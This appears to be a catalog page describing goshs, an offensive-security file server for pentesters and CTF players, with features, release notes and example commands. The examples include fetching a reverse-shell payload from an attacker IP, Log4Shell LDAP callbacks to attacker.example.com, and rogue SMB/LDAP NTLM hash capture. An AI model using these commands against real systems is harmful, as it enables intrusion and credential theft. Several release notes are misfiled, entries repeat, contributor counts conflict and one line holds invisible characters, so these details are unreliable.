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v2.1.7 open-source

goshs - the simple, yet feature-rich web server goshs is a modern replacement for Python’s SimpleHTTPServer, written in Go.

Summary

goshs is an open-source, free command-line file server written in Go, built as a modern replacement for Python's SimpleHTTPServer for anyone who needs to move files or catch callbacks mid-engagement without configuring Apache. It runs as a single binary and layers in protocol servers well beyond plain HTTP: HTTPSHTTPSHTTP carried over an encrypted TLS connection. It protects traffic in transit and lets a browser verify the server's certificate., WebDAV, FTP/SFTPSFTPSSH File Transfer Protocol, a file transfer standard built on top of SSH that provides encrypted upload, download, and remote file management; cyber tools use it to move files or exfiltrate data over an authenticated, encrypted channel., TFTPTFTPTrivial File Transfer Protocol, a minimal UDP-based file transfer protocol standardized in RFC 1350, used by cyber tools when simplicity and low overhead matter more than authentication or error recovery., SMBSMBA network file-sharing protocol developed by Microsoft that lets systems share files, printers, and named pipes over a network; cyber tools target or speak it because it is ubiquitous in Windows environments. with NTLMNTLMA Windows authentication protocol that proves knowledge of a password through a challenge and response. Captured authentication exchanges can be abused in relay attacks when protections are absent. hash capture and optional cracking, DNS and SMTP callback catchers, share links with expiry, and a reverse-shell payload generator, all reachable from one command or through a terminal dashboard for SSH sessions without port-forwarding. This makes it aimed squarely at penetration testers and CTF players rather than general sysadmins. Its own README frames it as the tool you reach for once python3 -m http.server stops being enough. With 13 contributors, 300 commits and 22 releases in the past year, most recently 19 days ago, it is actively maintained.

goshs - the simple, yet feature-rich web server goshs is a modern replacement for Python’s SimpleHTTPServer, written in Go.

How goshs helps

Did that connection attempt leak credentials I can use?

the SMB server captures NetNTLMv2/v1+ESS challenge-response hashes from connecting clients and automatically attempts to crack them against username/domain permutations or a supplied wordlist

Is anything on this target making out-of-band DNS or SMTP calls back to me?

the DNS and SMTP servers log every incoming query or message with attachments, giving a record usable for blind injection or SSRF confirmation

How do I watch everything happening across my catchers without forwarding a dozen ports over SSH?

a terminal dashboard shows live panes for HTTP, DNS, SMB, LDAP, SMTP, shells, and clipboard in the same session you're already connected to

Will this dropped server still be sitting there after the engagement window closes?

a countdown timer shuts the server down on its own once the configured duration passes, with the remaining time shown live in the dashboard

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45 capabilities across 5 areas · 4 backed by code, an API document or a real run

Built from goshs's releases, docs, README and our own runs. “Seen” marks the month we first spotted a release the vendor didn't date. Group names and tags are our labels.

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What goshs offers you

  • Command-line interface8
  • JSON data export3
  • Outbound webhooks (the product notifies you)3
  • PowerShell script execution1
  • Python scripting support1
  • REST API1
  • Scripting language support1
  • Web management console1
File and Payload Serving 5 capabilities goshs acts as a flexible HTTP/TFTP file server that can deliver files, generate reverse shell one-liners, and render payloads as templates at request time. This is the core use case the tool is built around.
TFTP server verified A built-in TFTP server allows file transfers over UDP for environments where HTTP is not available or appropriate. 4 releases · 5 other sources · first seen Jun 2026

Also counts toward: Command-line interface

release

  • Introduces httpserver.ProtocolACL, a fail-closed enforcer that wires per-folder .goshs ACL checks into every SFTP, FTP, TFTP and SMB read, write, list, rename, and handle-creation path — folders protected or blocked over HTTP are now denied outright on all protocols.⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠ v2.1.7 · Sep 2026 · source · release history
  • Adds TFTP server (-tftp / --tftp-server) serving files over UDP port 69 by default, supporting both downloads (RRQ) and uploads (WRQ) with blksize/tsize option negotiation, path-traversal rejection, IP whitelist enforcement, and mDNS advertisement. v2.1.3 · Jun 2026 · source · release history
  • Adds TFTP server support (-tftp / --tftp-server) serving files over UDP port 69 by default, with RRQ/WRQ (download/upload), blksize/tsize option negotiation, path-traversal rejection, IP whitelist enforcement, --read-only/--upload-only support, and mDNS advertisement. v2.1.3 · Jun 2026 · source · release history
  • Supports custom TFTP port via -tftp-port for unprivileged operation. v2.1.3 · Jun 2026 · source · release history

command line

example

  • Run TFTP on an unprivileged port when you can't bind UDP/69, useful inside containers or restricted shells. goshs -tftp -tftp-port 6900 v2.1.3 · Jun 2026 · source
  • Stand up a TFTP server during an engagement so Windows targets can pull files with the built-in tftp.exe client — no third-party tooling required. sudo goshs -tftp v2.1.3 · Jun 2026 · source
Reverse shell payload generator shipped The tool generates ready-to-run reverse shell one-liners for a wide range of languages and shells, with optional encoding for delivery. 6 releases · 1 other source · first seen May 2025

Also counts toward: Python scripting support, Scripting language support

release

  • Restructures the --tui generator tab into a stacked layout so multi-line payload output can be mouse-selected without also grabbing menu entries. v2.1.4 · Jul 2026 · source · release history
  • Adds clipboard copy (y/c) in the --tui reverse-shell generator, supporting xclip/xsel, wl-copy, pbcopy, clip, and OSC 52 over SSH — filling both the system clipboard and X11 primary selection. v2.1.4 · Jul 2026 · source · release history
  • Adds one-key clipboard copy (y/c) in the --tui reverse-shell generator, pushing payloads to xclip/xsel, wl-copy, pbcopy, clip, or over SSH via OSC 52 (filling both system clipboard and X11 primary selection). v2.1.4 · Jul 2026 · source · release history
  • Adds a reverse-shell payload generator tab in the web UI and --tui dashboard, producing one-liners for Bash, nc, Python, PHP, PowerShell, Perl, Ruby, and more, with LHOST/LPORT substitution and optional URL/Base64 (-EncodedCommand) encoding. v2.1.3 · Jun 2026 · source · release history
  • Adds a reverse-shell payload generator tab in both the web UI and --tui dashboard, producing one-liners for Bash, nc, Python, PHP, PowerShell, Perl, Ruby, and more, with LHOST/LPORT substitution and optional URL or Base64 (-EncodedCommand) encoding. v2.1.3 · Jun 2026 · source · release history
  • Adds SFTP as a supported transfer protocol alongside HTTP and WebDAV. v1.0.7 · May 2025 · source · release history

example

  • Generate a reverse-shell payload over an SSH session and copy it to your local clipboard via OSC 52 — no local clipboard tool required on the remote host. goshs --tui v2.1.4 · Jul 2026 · source
Payload templating verified Files can be served as templates that substitute engagement-specific values such as listener address and port when a target requests them. 3 releases · 3 other sources · first seen Feb 2022

release

  • Adds payload templating: serve files as Go templates rendered at request time via the ?tpl query parameter, with --template to enable and --tpl-var KEY=VALUE to inject per-engagement values (e.g. LHOST, LPORT) without editing files on disk. v2.1.2 · Jun 2026 · source · release history
  • Adds payload templating: serve files as Go templates rendered at download time, with {{.VAR}} placeholders substituted via --template and repeatable --tpl-var KEY=VALUE flags. v2.1.2 · Jun 2026 · source · release history
  • logrus integration introduces structured logging support as a new capability v0.1.7 · Feb 2022 · source · release history

command line

  • --template — Enable ?tpl payload templating in served files v2.1.2 · Jun 2026 · command-line history

example

  • Serve a reverse-shell payload that auto-fills your callback IP and port at download time — no editing files between engagements. goshs -i 10.10.14.7 --template --tpl-var LHOST=10.10.14.7 --tpl-var LPORT=4444 # target fetches the rendered payload: curl 'http://10.10.14.7:8000/rev.ps1?tpl' v2.1.2 · Jun 2026 · source
  • Serve payloads with templated callback host/port goshs -i 10.10.14.7 --template --tpl-var LPORT=4444
ConPtyShell on-demand delivery shipped The ConPtyShell PowerShell script is served on demand rather than bundled in the binary, reducing the chance of antivirus detection. 4 releases · first seen Jun 2026

Also counts toward: PowerShell script execution

release

  • ConPtyShell.ps1 is no longer embedded in the binary; goshs now serves it on demand at /ConPtyShell.ps1?conpty, using a local webroot copy if present or downloading and caching from upstream — reducing antivirus false positives. v2.1.1 · Jun 2026 · source · release history
  • ConPtyShell.ps1 is no longer embedded in the goshs binary; setups that relied on the built-in ConPtyShell payload must now either place a ConPtyShell.ps1 in the webroot or ensure goshs can reach the upstream GitHub repository to download it on demand. v2.1.1 · Jun 2026 · source · release history
  • Changes ConPtyShell delivery: ConPtyShell.ps1 is no longer embedded in the binary (reducing AV false positives) and is instead served on demand at /ConPtyShell.ps1?conpty, using a local webroot copy if present or downloading and caching from upstream otherwise. v2.1.1 · Jun 2026 · source · release history
  • New /ConPtyShell.ps1?conpty route is authentication-exempt, ensuring caught Windows hosts can always fetch the script. v2.1.1 · Jun 2026 · source · release history
HTTP range request support shipped HTTP range requests are supported so that large file transfers can be resumed if interrupted. 3 releases · first seen Apr 2025

release

  • Supports HTTP Range requests for resumable and partial downloads of large files. v2.1.2 · Jun 2026 · source · release history
  • Supports HTTP Range requests, enabling resumable and partial-content downloads of large files. v2.1.2 · Jun 2026 · source · release history
  • Basic auth now accepts bcrypt-hashed passwords in addition to plaintext. v1.0.3 · Apr 2025 · source · release history
Reverse Shell Management 1 capability goshs can receive and manage interactive reverse shell sessions from compromised hosts across multiple protocols. Operators can attach to sessions, upgrade shell quality, and control listeners without leaving the tool.
Reverse shell management shipped Operators can start, stop, and attach to reverse shell sessions, and upgrade them to fully interactive PTY sessions, all from within the tool. 1 release · first seen Jun 2026

release

  • Enables interactive reverse shell management from the TUI: start/stop/restart listeners, attach to sessions, upgrade Unix shells to PTY (u) and Windows shells via ConPtyShell (U). v2.1.1 · Jun 2026 · source · release history
Operator Interface and Session Control 4 capabilities A full-screen terminal dashboard gives operators a single pane of glass over all running services and sessions, accessible over SSH without exposing additional ports. Supporting utilities such as credential reveal and log export reduce the need to restart or reconfigure the server mid-engagement.
Interactive TUI dashboard verified A full-screen terminal dashboard shows live activity across all running services and can be accessed remotely over SSH. 3 releases · 2 other sources · first seen May 2023

Also counts toward: Command-line interface

release

  • Adds --tui flag: a full-screen Bubble Tea terminal dashboard with live panes for HTTP, DNS, SMB, LDAP, SMTP, reverse shells, and clipboard — operable over SSH without port-forwarding the web UI. v2.1.1 · Jun 2026 · source · release history
  • Adds Authorization header to verbose mode logs when present v0.3.2 · May 2023 · source · release history
  • Adds ability to drop process privileges on Linux/MacOS for enhanced security v0.3.2 · May 2023 · source · release history

command line

example

  • Monitor all callback protocols and manage reverse shells over an SSH session without forwarding the web UI port. goshs --tui --catcher -dns -dns-ip 10.10.14.5 -smtp -smtp-domain evil.example.com v2.1.1 · Jun 2026 · source
TUI credential reveal shipped Operators can view and copy the server's basic-auth credentials from inside the running dashboard without restarting. 3 releases · 1 other source · first seen Aug 2026

release

  • Adds a password reveal modal in the --tui status bar: press p to open an overlay showing basic-auth credentials, u to toggle plaintext, y/c to copy, and esc/q to close. v2.1.5 · Aug 2026 · source · release history
  • Supports plaintext toggle with u, copy with y/c, and close with esc/q in the credential popup v2.1.5 · Aug 2026 · source · release history
  • Adds p key shortcut in the TUI to open a modal overlay revealing the basic-auth password v2.1.5 · Aug 2026 · source · release history

example

  • When you launch goshs with a generated password and forget it mid-session, use the TUI popup to retrieve it without restarting. goshs --tui -b "user:$(xkcdpass)" v2.1.5 · Aug 2026 · source
TUI log export shipped Logs from any service pane in the dashboard can be exported to JSON files without stopping the server. 4 releases · first seen Feb 2023

Also counts toward: JSON data export

release

  • Adds per-pane log export to JSON (e / E) from within the TUI dashboard. v2.1.1 · Jun 2026 · source · release history
  • Export any pane's event log to JSON from the TUI with e (current pane) or E (all panes). v2.1.1 · Jun 2026 · source · release history
  • New YAML config file support lets you define all goshs settings in a config file, overriding CLI flags. v1.0.3 · Apr 2025 · source · release history
  • Mitigates slow loris attack against the server v0.3.0 · Feb 2023 · source · release history
TUI clipboard management shipped The dashboard includes a clipboard manager where operators can stage, organise, and save data such as captured email attachments. 3 releases · first seen Jun 2026

release

  • Clipboard management directly in the TUI: add (a), delete (d), and clear (C) entries without touching the web interface. v2.1.1 · Jun 2026 · source · release history
  • Save SMTP attachments to disk from the TUI with the s key. v2.1.1 · Jun 2026 · source · release history
  • Supports clipboard management directly from the TUI: add (a), delete (d), and clear (C) entries; save SMTP attachments to disk (s). v2.1.1 · Jun 2026 · source · release history
Infrastructure Lifecycle Management 1 capability goshs includes controls that govern how long the server runs and when it shuts itself down, supporting unattended or time-limited engagements. These features reduce operational risk when infrastructure cannot be actively monitored.
Time-boxed self-destruct (TTL) verified The server can be configured to shut itself down automatically after a set time, so it does not remain exposed beyond the intended engagement window. 6 releases · 4 other sources · first seen Oct 2021

Also counts toward: Command-line interface

release

  • TTL countdown is surfaced in the TUI status bar when --ttl is active. v2.1.1 · Jun 2026 · source · release history
  • New --ttl flag arms a graceful self-destruct timer using Go duration strings (30m, 2h, 1h30m); also settable as "ttl": <seconds> in the JSON config file. v2.1.1 · Jun 2026 · source · release history
  • Adds --ttl flag for graceful self-destruct after a Go duration string (30m, 2h, 1h30m, …) or via "ttl": <seconds> in the JSON config — useful for time-boxed engagements. v2.1.1 · Jun 2026 · source · release history
  • Adds the -e CLI flag to display embedded files in the UI v0.3.9 · Jun 2024 · source · release history
  • Enables compiling static files into the binary via the embedded/ folder and Makefile v0.3.9 · Jun 2024 · source · release history
  • Adds interface flag (-i) to specify a network interface for IPv4 address resolution v0.1.2 · Oct 2021 · source · release history

command line

  • --ttl — Self-destruct: shut down automatically after this duration (e.g. 30m, 2h); 0 disables v2.1.1 · Jun 2026 · command-line history

example

  • Run a time-boxed listener that automatically shuts down after 4 hours — ideal for leaving infrastructure unattended during a long engagement window. goshs --tui --catcher -dns -dns-ip 10.10.14.5 --ttl 4h v2.1.1 · Jun 2026 · source
  • Stand up a plain file server that self-destructs after 30 minutes for a quick, controlled file-transfer window. goshs --ttl 30m v2.1.1 · Jun 2026 · source
  • Bind the server to a specific interface name (e.g., eth0) instead of defaulting. goshs -i eth0 v0.1.2 · Oct 2021 · source
Other 34 capabilities
Per-folder ACL enforcement shipped Folder-level access control lists defined in `.goshs` files are enforced fail-closed across HTTP, WebDAV, SFTP, FTP, TFTP, and SMB — unreadable, unparsable, or malformed `.goshs` entries deny all access to that subtree, and path components named `.goshs` are refused in uploads and directory creation. 8 releases · 1 other source · first seen Apr 2024

release 8 total

  • Adds httpserver.ProtocolACL, a fail-closed enforcer that wires per-folder .goshs ACL checks into every SFTP, FTP, TFTP, and SMB read, write, list, rename, and directory-query path — folders protected by a .goshs auth entry are denied outright on all protocols. v2.1.7 · Sep 2026 · source · release history
  • Makes the .goshs ACL resolver fail closed: an unreadable, unparsable, or non-regular .goshs entry (including a dangling symlink or a directory named .goshs) now denies everything in the subtree rather than silently dropping inherited auth and block lists; ?mkdir and uploads refuse any .goshs path component. v2.1.7 · Sep 2026 · source · release history
  • ?mkdir and uploads now refuse any path component named .goshs. v2.1.7 · Sep 2026 · source · release history
  • A .goshs entry that is a directory, dangling symlink, or otherwise unreadable/unparsable now causes the ACL resolver to fail closed (deny everything in that subtree) instead of silently returning an empty ACL. v2.1.7 · Sep 2026 · source · release history
  • Any .goshs entry that is a directory, dangling symlink, or otherwise non-regular file now causes the ACL resolver to deny all access to that subtree instead of returning an empty ACL. Setups that inadvertently had a .goshs directory will lose access to those paths on upgrade. v2.1.7 · Sep 2026 · source · release history
  • Any SFTP, FTP, TFTP, or SMB client that previously accessed a .goshs-protected or block-listed subtree will now be denied outright — there is no credential mechanism on these protocols to satisfy the ACL. v2.1.7 · Sep 2026 · source · release history

example

  • Run goshs with valid HTTPS using Let's Encrypt for a specific domain and email contact. goshs -s -sl -sle your@mail.com -sld your.domain.com v0.3.8 · Apr 2024 · source
LDAP credential capture and cracking shipped Captures LDAP bind, search, and NTLM events, forwards them via webhooks, and performs local hash cracking. 5 releases · 1 other source · first seen Apr 2026

Also counts toward: Command-line interface, Outbound webhooks (the product notifies you)

release

  • LDAP bind, search, and NTLM events are forwarded via webhook integration to Discord, Slack, or other targets. v2.0.5 · Apr 2026 · source · release history
  • All LDAP events (bind, search, NTLM) stream live to a new WebSocket-backed LDAP collaborator UI tab with cracked-password badges. v2.0.5 · Apr 2026 · source · release history
  • NTLM hash cracking outputs in hashcat format using a built-in default wordlist or a custom wordlist supplied via --ldap-wordlist. v2.0.5 · Apr 2026 · source · release history
  • New --ldap flag launches a lightweight LDAP collaborator server for credential capture, supporting Simple bind (DN + cleartext password), SASL PLAIN, and full NetNTLMv2 challenge-response with inline hash cracking. v2.0.5 · Apr 2026 · source · release history
  • New SMB server mode captures and locally cracks NTLM hashes during penetration tests and CTF challenges, with optional webhook forwarding. v2.0.0 · Apr 2026 · source · release history

example

  • Capture LDAP credentials with wordlist cracking goshs -ldap -ldap-wordlist /usr/share/wordlists/rockyou.txt
Rogue SMB server with hash capture shipped Captures NetNTLMv2/v1+ESS challenge-response hashes from connecting clients and optionally cracks them. 2 releases · 3 other sources · first seen Apr 2026

Also counts toward: Outbound webhooks (the product notifies you)

release

  • New SMB server mode captures and locally cracks NTLM hashes during penetration tests and CTF challenges, with optional webhook forwarding. v2.0.0 · Apr 2026 · source · release history
  • New built-in SMB server captures NetNTLMv2/v1+ESS challenge-response hashes from connecting clients. v2.0.0-beta.5 · Apr 2026 · source · release history

docs

  • Single-binary file server supporting HTTP/S, WebDAV, FTP/SFTP, SMB, LDAP, basic auth, NTLM hash capture, DNS/SMTP callbacks, and payload templating.

example

  • Spin up a rogue SMB server to capture NTLM hashes from machines on your target network during a pentest. goshs -smb -smb-domain CORP v2.0.0 · Apr 2026 · source
  • Capture SMB NTLM hashes goshs -smb -smb-domain CORP
Out-of-band collaborator suite shipped Provides built-in servers for DNS, SMTP, and HTTP callbacks to capture out-of-band interactions during security assessments. 2 releases · 3 other sources · first seen Mar 2026

Also counts toward: Web management console

release

  • Built-in DNS server catches DNS callbacks when your domain points to the goshs instance. v2.0.0-beta.1 · Mar 2026 · source · release history
  • Built-in SMTP server captures inbound mail for exfiltration detection in CTF, CSRF, and XSS scenarios. v2.0.0-beta.1 · Mar 2026 · source · release history

docs

  • Single-binary file server supporting HTTP/S, WebDAV, FTP/SFTP, SMB, LDAP, basic auth, NTLM hash capture, DNS/SMTP callbacks, and payload templating.

example

  • Catch DNS, SMTP, and HTTP callbacks during a CTF or XSS/CSRF engagement — open the Collaborator tab in the goshs web UI after pointing your domain's NS/MX records at the host running goshs. In the web UI, click the Collaborator tab to view captured DNS queries, inbound SMTP messages, and full HTTP request logs in real time. v2.0.0-beta.1 · Mar 2026 · source
  • Catch DNS callbacks and receive emails goshs -dns -dns-ip 1.2.3.4 -smtp -smtp-domain your-domain.com
Hidden content masking shipped Hide specific files or folders from directory listings and serves based on .goshs configuration rules. 5 releases · first seen Jun 2023

release

  • Adds -o/--output flag to write goshs output to a file. v1.0.1 · Nov 2024 · source · release history
  • Logs POST body content in verbose mode, including bodies sent to the server. v1.0.0 · Nov 2024 · source · release history
  • Automatically detects and pretty-prints JSON values found in request parameters and bodies. v1.0.0 · Nov 2024 · source · release history
  • Automatically detects and decodes base64-encoded values in request parameters and bodies before logging. v1.0.0 · Nov 2024 · source · release history
  • Enables hiding content from directory listings using the .goshs file v0.3.5 · Jun 2023 · source · release history
Folder upload via web UI shipped Whole directory trees can be dragged, dropped, or selected for upload in the web UI with subdirectory structure preserved server-side; `..` path components and `.goshs` path segments are rejected. 3 releases · 1 other source · first seen Nov 2024

release

  • Adds folder upload to the web UI: whole directory trees (including subdirectories) can be dragged, dropped, or selected for upload with structure preserved server-side; .. path components and .goshs path segments are refused. v2.1.7 · Sep 2026 · source · release history
  • Adds folder upload support to the web UI (#227): whole directory trees can be dropped or selected for upload with structure preserved, .. components sanitized, and .goshs path components refused. v2.1.7 · Sep 2026 · source · release history
  • Supports HTTP PUT for file uploads, enabling curl -T workflows. v1.0.1 · Nov 2024 · source · release history

example

  • Upload a file to a running goshs instance without a browser using curl's PUT transfer. curl -T secret.zip http://192.168.1.10:8080/uploads/ v1.0.1 · Nov 2024 · source
Time-limited share links shipped Generate authentication-bypassing links for files or folders that expire after a duration or download count. 2 releases · 2 other sources · first seen Jun 2025

release

  • Adds --persist-chat flag to save chat history to <webroot>/.goshs-chat/chat.json v2.1.6 · Aug 2026 · source · release history
  • Adds time-limited and download-count-limited share links that bypass authentication, letting anyone with the link download a file or folder (as ZIP) without credentials. v1.1.0 · Jun 2025 · source · release history

example

  • Completely disable the chat feature if you do not need collaboration surfaces ./goshs --no-chat v2.1.6 · Aug 2026 · source
  • Start goshs with a 2-hour self-destruct for automated drop-and-forget file serving during a CI pipeline or timed engagement. goshs --ttl 2h v2.1.1 · Jun 2026 · source
Distribution package support shipped Enables installation via native packages for Debian, RPM, Arch (AUR), openSUSE, Parrot OS, NixOS, and Winget. 4 releases · first seen May 2026

release

  • Adds Winget support: winget install PatrickHener.Goshs. v2.0.7 · May 2026 · source · release history
  • Windows releases now ship as .zip archives. v2.0.7 · May 2026 · source · release history
  • Adds installation support for Arch (AUR), openSUSE, Parrot OS, and NixOS. v2.0.7 · May 2026 · source · release history
  • Linux releases now ship with native .deb and .rpm packages for direct installation. v2.0.7 · May 2026 · source · release history
Web UI file download shipped Allows users to download individual files or multiple selected files as a single ZIP archive directly from the web interface list view. 2 releases · 2 other sources · first seen Oct 2020

release

  • bulk download as zip file allows users to download multiple selected files in a single archive v0.0.6 · Oct 2020 · source · release history
  • download button provides a direct file download action for individual items v0.0.6 · Oct 2020 · source · release history

example

  • Download a single file directly from the list view without opening it first. click the 'download button' next to the filename v0.0.6 · Oct 2020 · source
  • Select multiple files in the goshs web interface to export them as a single zip archive. click the 'bulk download' button after selecting files v0.0.6 · Oct 2020 · source
Interactive reverse shell catcher shipped Provides built-in listeners to catch and manage incoming reverse shell connections, including TTY upgrades. 3 releases · first seen Apr 2026

release

  • Built-in reverse shell listeners to catch callbacks without external tools. v2.0.4 · Apr 2026 · source · release history
  • New interactive shell catcher for receiving and managing incoming reverse shell connections. v2.0.4 · Apr 2026 · source · release history
  • The interactive reverse shell catcher is now fully cross-platform and builds and runs on Windows. v2.0.5 · Apr 2026 · source · release history
Log4Shell exploitation simulation shipped Simulates Log4j vulnerability via LDAP search responses and LDAPS callback servers for CVE-2021-44228 testing. 2 releases · 1 other source · first seen Apr 2026

Also counts toward: Command-line interface

release

  • New --ldap-jndi flag puts goshs into Log4Shell exploitation mode, responding to any LDAP search with a javaNamingReference entry. v2.0.5 · Apr 2026 · source · release history
  • LDAPS support via -s -ss (self-signed) or -s -sc/-sk (custom cert) automatically switches the LDAP port from 389 to 636. v2.0.5 · Apr 2026 · source · release history

example

  • Stand up a Log4Shell callback server over LDAPS with a self-signed cert to test for CVE-2021-44228 exposure. goshs --ldap --ldap-port 636 --ldap-jndi --ldap-jndi-base ldap://attacker.example.com -s -ss v2.0.5 · Apr 2026 · source
Stealth network mode shipped Hide the server from passive network observers and disable default mDNS advertisements to reduce exposure. 3 releases · first seen Dec 2025

release

  • mDNS advertisement is now opt-in instead of opt-out, reducing unintended network exposure by default 1.1.3 · Dec 2025 · source · release history
  • New invisible mode hides the server from passive observers on the network 1.1.3 · Dec 2025 · source · release history
  • mDNS is now opt-in instead of opt-out — existing setups that relied on mDNS being enabled by default will no longer advertise unless the opt-in flag is explicitly set 1.1.3 · Dec 2025 · source · release history
Host clipboard integration shipped Copy served file content directly to the host operating system clipboard via the web UI. 2 releases · 1 other source · first seen Oct 2020

release

  • Adds copy to local clipboard for shared app clipboard v0.3.6 · Sep 2023 · source · release history
  • non-persistent clipboard integrates system clipboard functionality without keeping data in memory v0.0.6 · Oct 2020 · source · release history

example

  • Copy a served file's content directly to the host clipboard via the web UI. In the goshs web interface, click the 'Copy to clipboard' button next to the desired file. v0.3.6 · Sep 2023 · source
Custom authentication username shipped Configure a custom username for basic authentication instead of the default. 1 release · 2 other sources · first seen Oct 2021

release

  • Allows setting a custom username for basic authentication v0.1.4 · Oct 2021 · source · release history

example

  • Authenticate with a custom username instead of the default user. goshs --auth-user admin --auth-pass secret123 /var/www/html v0.1.4 · Oct 2021 · source
  • Serve with HTTPS and basic auth goshs -s -ss -b user:password
Cross-platform tab completion shipped Provides shell tab completion for bash, fish, and zsh to auto-populate flags and subcommands. 1 release · 1 other source · first seen May 2026

Also counts toward: Command-line interface

release

  • Adds shell tab completion for bash, fish, and zsh via --completion <shell>, with automatic detection of macOS/Homebrew install paths. v2.0.8 · May 2026 · source · release history

example

  • Install zsh tab completion so goshs flags and subcommands autocomplete in your shell. goshs --completion zsh v2.0.8 · May 2026 · source
File preview panel shipped Renders supported files such as Markdown and code directly in the browser with syntax highlighting. 2 releases · first seen Apr 2026

release

  • Adds in-browser rendering of .md files with syntax highlighting via the file preview panel. v2.0.6 · Apr 2026 · source · release history
  • Extends file preview support to additional data types including code and documents. v2.0.6 · Apr 2026 · source · release history
HTTP redirect testing shipped Issues HTTP redirects with custom status codes and headers for SSRF and open redirect testing. 2 releases · first seen Apr 2026

release

  • New redirect endpoint issues HTTP redirects with custom status codes and headers via ?redirect&url=...&status=301&header=... for SSRF and open redirect testing. v2.0.0 · Apr 2026 · source · release history
  • New ?redirect query parameter handler lets you trigger intentional redirects — useful for CTF environments. v2.0.0-beta.4 · Apr 2026 · source · release history
QR code generation shipped Create QR codes for file and folder links to facilitate mobile device access. 2 releases · first seen Jun 2025

release

  • Adds built-in tunneling to localhost.run, making goshs publicly reachable even behind NAT or firewalls with no port-forwarding required. v1.1.4 · Mar 2026 · source · release history
  • Adds QR code generation for file and folder links, enabling quick mobile device access. v1.1.0 · Jun 2025 · source · release history
Minimal file-drop endpoint shipped Run a restricted server instance accepting only uploads without directory browsing or clipboard functionality. 1 release · 1 other source · first seen Mar 2025

Also counts toward: Command-line interface

release

  • Adds --no-clipboard flag to disable and hide the clipboard widget in the UI, enabling a pure file-drop endpoint when combined with upload-only mode. v1.0.2 · Mar 2025 · source · release history

example

  • Run a minimal file-drop endpoint that accepts uploads only — no clipboard, no directory browsing. goshs --no-clipboard --upload-only v1.0.2 · Mar 2025 · source
Web UI file deletion shipped Delete files individually or in bulk from the served directory via the web interface. 1 release · 1 other source · first seen Sep 2023

release

  • Adds ability to delete files individually or in bulk mode v0.3.6 · Sep 2023 · source · release history

example

  • Remove one or more files from the served directory via the web UI. In the goshs web interface, select files and use the 'Delete' button for individual or bulk removal. v0.3.6 · Sep 2023 · source
Drag-and-drop upload support shipped Enable drag-and-drop uploading in the web interface using dropzone.js. 1 release · 1 other source · first seen Oct 2021

release

  • new UI feature: Drag & Drop support for the upload form (dropzone.js) v0.1.5 · Oct 2021 · source · release history

example

  • Enable drag-and-drop uploading in your goshs web interface. In your browser, drag files onto the upload zone of your goshs instance running on port :8080 v0.1.5 · Oct 2021 · source
Read-only server mode shipped Run the server in read-only mode to prevent any file modifications. 1 release · 1 other source · first seen Oct 2021

release

example

  • Run the server in read-only mode to prevent any modifications to files. goshs --read-only /var/www/html v0.1.4 · Oct 2021 · source
Upload-only server mode shipped Run the server in upload-only mode, preventing reads or directory listings. 1 release · 1 other source · first seen Oct 2021

release

  • Adds upload-only mode to prevent reads or directory listings v0.1.4 · Oct 2021 · source · release history

example

  • Run the server in upload-only mode, typically for a dropbox-style feature. goshs --upload-only /var/uploads v0.1.4 · Oct 2021 · source
Brute-force lockout hardening shipped Per-IP failed authentication attempts are counted inside the same locked section as the credential check, preventing concurrent requests from bypassing the five-failure lockout window. 1 release · first seen Sep 2026

release

  • Hardens the brute-force lockout so each per-IP attempt is counted inside the same locked section as the credential check, preventing concurrent requests from resetting the counter and bypassing the 5-failure lockout window. v2.1.7 · Sep 2026 · source · release history
Case-insensitive block-list enforcement shipped Block-list and never-serve rules are compared case-insensitively across HTTP, WebDAV, SFTP, and directory listing filters, closing bypass paths on case-insensitive filesystems such as Windows and macOS. 1 release · first seen Sep 2026

release

  • Extends all block-list and never-serve enforcement points across HTTP, WebDAV, SFTP and directory listing filters to compare names case-insensitively, closing bypasses on Windows and macOS filesystems. v2.1.7 · Sep 2026 · source · release history
Persistent chat history shipped Persist team chat history and images to disk across server restarts using the --persist-chat and --persist-chat-images flags. 1 release · first seen Aug 2026

Also counts toward: Command-line interface

release

  • Adds --persist-chat (-pc) flag to write the full chat log (messages, edit flags, per-emoji reaction authors) to <webroot>/.goshs-chat/chat.json and restore it on restart; in-memory only by default. v2.1.6 · Aug 2026 · source · release history
Update mechanism hardening shipped Verifies auto-updates against MITM attacks using checksum validation. 1 release · first seen May 2026

release

  • Auto-update check now verifies downloads against MITM attacks using checksum validation. v2.0.7 · May 2026 · source · release history
Collaborator log export shipped Exports logs from the collaborator panel for offline analysis of captured interactions. 1 release · first seen Apr 2026

release

  • Enables export of collaborator panel logs (HTTP, DNS, SMB, LDAP, SMTP) for offline analysis. v2.0.6 · Apr 2026 · source · release history
Server state info endpoint shipped Exposes current server configuration and operational state via a JSON API endpoint. 1 release · first seen Apr 2026

Also counts toward: JSON data export, REST API

release

  • New info JSON endpoint exposes server configuration and state. v2.0.0 · Apr 2026 · source · release history
Zeroconf network discovery shipped Broadcast HTTP, WebDAV, and SFTP services via mDNS to make instances discoverable on the local network. 1 release · first seen May 2025

release

  • Broadcasts HTTP, WebDAV, and SFTP services via zeroconf mDNS, making instances discoverable on the local network (e.g., http://<hostname>.local:8000). v1.0.7 · May 2025 · source · release history
Delete protection shipped Prevent file removal operations via the server interface. 1 release · first seen May 2025

release

  • Adds ability to disable delete functionality, preventing file removal via the server. v1.0.4 · May 2025 · source · release history
Operational webhooks shipped Receive external notifications for basic file operations such as uploads, downloads, and deletions. 1 release · first seen May 2025

Also counts toward: Outbound webhooks (the product notifies you)

release

  • Adds webhook support to receive notifications on basic file operations (upload, download, delete, etc.). v1.0.4 · May 2025 · source · release history
Persistent logging to disk shipped Writes server output logs to a file on disk for later review or incident response. 1 other source · first seen Nov 2024

example

  • Persist server logs to disk for later review or incident response. goshs -o /var/log/goshs.log v1.0.1 · Nov 2024 · source
JSON directory listing export shipped Return directory listings in JSON format via the ?json query parameter on all endpoints. 1 release · first seen Feb 2023

Also counts toward: JSON data export

release

  • Adds support for the ?json query parameter on all endpoints to return directory listings in JSON format v0.3.0 · Feb 2023 · source · release history

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    1. Contributors 3 −4 vs prior 12 months
    2. Maintainers 1 +0 joined · −0 left, last 12 months
    3. Bus factor 1 committers behind half the commits
    4. Community-filed 82% of issues opened, last 12 months
    5. Median time to close < 1 day first maintainer reply 3.2 hours
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    5. Stars 978
    Issue themes, last 12 months
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    • other 35%

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